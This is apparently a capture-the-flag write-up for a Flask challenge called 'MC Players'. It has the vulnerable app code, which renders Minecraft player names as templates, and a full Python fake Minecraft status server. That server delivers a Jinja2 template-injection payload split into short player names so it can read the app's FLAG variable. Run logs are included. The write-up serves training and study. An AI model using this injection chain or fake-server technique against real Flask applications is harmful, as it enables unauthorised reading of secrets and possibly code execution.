Solution de lrstx pour MC Players

$ docker-compose up
Building with native build. Learn about native build in Compose here: https://docs.docker.com/go/compose-native-build/
Starting mc-players-flag ... done
Recreating mc-players-web ... done
Attaching to mc-players-flag, mc-players-web
mc-players-flag    | 172.18.0.3 - - [09/May/2022 07:24:01] "GET / HTTP/1.1" 200 -
mc-players-web     |  * Serving Flask app 'app' (lazy loading)
mc-players-web     |  * Environment: production
mc-players-web     |    WARNING: This is a development server. Do not use it in a production deployment.
mc-players-web     |    Use a production WSGI server instead.
mc-players-web     |  * Debug mode: off
mc-players-web     |  * Running on all addresses (0.0.0.0)
mc-players-web     |    WARNING: This is a development server. Do not use it in a production deployment.
mc-players-web     |  * Running on http://127.0.0.1:2156(Press CTRL+C to quit)
mc-players-flag exited with code 0

FLAG = requests.get('http://mc-players-flag:1337/').text

[...]

@app.route('/flag', methods=['GET'])
def flag():
    if request.remote_addr != '13.37.13.37':
        return 'Unauthorized IP address: ' + request.remote_addr
    return FLAG

    html_player_list = f'''
        <br>
        <h3>{hostname} ({len(players)}/{status.players.max})</h3>
        <ul>
    '''
    for player in players:
        html_player_list += '<li>' + player + '</li>'
    html_player_list += '</ul>'

    results = render_template_string(html_player_list)
    return render_template('index.html', results=results)

    if request.args.get('p'):
        players.append(request.args.get('p'))

    #if request.method != 'POST' or 'server' not in request.form.keys():
    #    return render_template('index.html')
    #
    #server = request.form['server'].split(':')
    server = 'mc.hypixel.net'.split(':')

    for path, obj in search(request, 10):
        if str(obj) == FLAG:
            players.append(path)
            break

        for player in status.players.sample:
            if re.match(r'\w*', player.name) and len(player.name) <= 20:
                players.append(player.name)

players = [
    '{%set r=request%}',
    '{%set u="__"%}',
    '{%set c="class"%}',
    '{%set r=r[u+c+u]%}',
    '{%set l="_load_"%}',
    '{%set f="form_"%}',
    '{%set d="data"%}',
    '{%set r=r[l+f+d]%}',
    '{%set g="globals"%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["json"]%}',
    '{%set j="JSONE"%}',
    '{%set n="ncoder"%}',
    '{%set r=r[j+n]%}',
    '{%set r=r.default%}',
    '{%set r=r[u+g+u]%}',
    '{%set c="current"%}',
    '{%set a="_app"%}',
    '{%set r=r[c+a]%}',
    '{%set v="view_f"%}',
    '{%set s="unctions"%}',
    '{%set r=r[v+s]%}',
    '{%set r=r["index"]%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["FLAG"]%}',
    '{{r}}' ]

$ python3 fakeserver.py  192.168.1.6 1337
Listening...
Connection from: ('141.94.171.29', 33278)
< b'\x00/\x0f<REDACTED>\x059\x01'
=> Handshake ? We ignore it.
< b'\x00'
=> Asking for status
> b'\x96\n\x00\x93\n{"version": {"name": "Requires MC 1.8 / 1.18", "protocol": 47}, "players": {"max": 200000, "online": 47875, "sample": [{"name": "{%set r=request%}", "id": "0"}, {"name": "{%set u=\\"__\\"%}", "id": "1"}, {"name": "{%set c=\\"class\\"%}", "id": "2"}, {"name": "{%set r=r[u+c+u]%}", "id": "3"}, {"name": "{%set l=\\"_load_\\"%}", "id": "4"}, {"name": "{%set f=\\"form_\\"%}", "id": "5"}, {"name": "{%set d=\\"data\\"%}", "id": "6"}, {"name": "{%set r=r[l+f+d]%}", "id": "7"}, {"name": "{%set g=\\"globals\\"%}", "id": "8"}, {"name": "{%set r=r[u+g+u]%}", "id": "9"}, {"name": "{%set r=r[\\"json\\"]%}", "id": "10"}, {"name": "{%set j=\\"JSONE\\"%}", "id": "11"}, {"name": "{%set n=\\"ncoder\\"%}", "id": "12"}, {"name": "{%set r=r[j+n]%}", "id": "13"}, {"name": "{%set r=r.default%}", "id": "14"}, {"name": "{%set r=r[u+g+u]%}", "id": "15"}, {"name": "{%set c=\\"current\\"%}", "id": "16"}, {"name": "{%set a=\\"_app\\"%}", "id": "17"}, {"name": "{%set r=r[c+a]%}", "id": "18"}, {"name": "{%set v=\\"view_f\\"%}", "id": "19"}, {"name": "{%set s=\\"unctions\\"%}", "id": "20"}, {"name": "{%set r=r[v+s]%}", "id": "21"}, {"name": "{%set r=r[\\"index\\"]%}", "id": "22"}, {"name": "{%set r=r[u+g+u]%}", "id": "23"}, {"name": "{%set r=r[\\"FLAG\\"]%}", "id": "24"}, {"name": "{{r}}", "id": "25"}]}, "description": "YourWorstNightmare"}'
< b'\x01ppHY\xad\xac\xf4\x8b'
Asking for ping
> b'\t\x01ppHY\xad\xac\xf4\x8b'

#!/usr/bin/env python3

import socket
import json
import sys

if len(sys.argv) != 3:
    print('Syntax: {} <listen_ip> <listen_port>')
    exit(-1)
host = sys.argv[1]
port = int(sys.argv[2])

exploit = [
    '{%set r=request%}',
    '{%set u="__"%}',
    '{%set c="class"%}',
    '{%set r=r[u+c+u]%}',
    '{%set l="_load_"%}',
    '{%set f="form_"%}',
    '{%set d="data"%}',
    '{%set r=r[l+f+d]%}',
    '{%set g="globals"%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["json"]%}',
    '{%set j="JSONE"%}',
    '{%set n="ncoder"%}',
    '{%set r=r[j+n]%}',
    '{%set r=r.default%}',
    '{%set r=r[u+g+u]%}',
    '{%set c="current"%}',
    '{%set a="_app"%}',
    '{%set r=r[c+a]%}',
    '{%set v="view_f"%}',
    '{%set s="unctions"%}',
    '{%set r=r[v+s]%}',
    '{%set r=r["index"]%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["FLAG"]%}',
    '{{r}}',
]

players = [ {'name': e, 'id': str(i)} for i, e in enumerate(exploit)]

def start_listening():
    # Create the socket and start listening.
    server_socket = socket.socket()
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((host, port))
    server_socket.listen(1)
    print('Listening...')

    while True:
        conn = None
        try:
            # Incoming connection
            conn, address = server_socket.accept()
            print("Connection from: " + str(address))
            while True:
                # The first byte is the length of the packet
                # Fixme: it won't work if the packet length exceeds 255, but we don't care
                # in our contexte. :)
                data = conn.recv(1)
                if not data:
                    break
                l = int.from_bytes(data, "little")

                # Now we read the payload send
                data = conn.recv(l)
                if not data:
                    break
                print(f'< {data}')

                # What kind of packet is it ?
                cmd = data[0]
                if cmd == 0:
                    if l == 1:
                        print('=> Asking for status')
                        handle_status(conn, data)
                    else:
                        print('=> Handshake ? We ignore it.')
                        continue
                elif cmd == 1:
                    print('Asking for ping')
                    handle_ping(conn, data)
                else:
                    print('Unknown commande {cmd}')

            conn.close()  # close the connection

        except KeyboardInterrupt:
            if conn:
                conn.close()
            break
    print('Exit')

# Encoding of a length
def pack_int(x):
    byte = bytearray()
    while x > 0:
        temp = x & 0b01111111
        x = x >> 7
        if x != 0:
            temp |= 0b10000000
        byte.append(temp)
    return bytes(byte)

def handle_status(conn, input):
    status = {
        "version": {
            "name":"Requires MC 1.8 / 1.18",
            "protocol":47
        },
        "players":{
            "max":200000,
            "online":47875,
            "sample": players,
        },
        "description": "YourWorstNightmare",
    }
    json_status = json.dumps(status).encode('utf-8')
    # Packet size + 0x00 (status command) + Json size + json
    data = b'\x00' + pack_int(len(json_status)) + json_status
    data = pack_int(len(data)) + data
    print(f'> {data}')
    conn.send(data)  # send data to the client

def handle_ping(conn, input):
    data = input # pong
    data = pack_int(len(data)) + data
    print(f'> {data}')
    conn.send(data)  # send data to the client

if __name__ == '__main__':
    start_listening()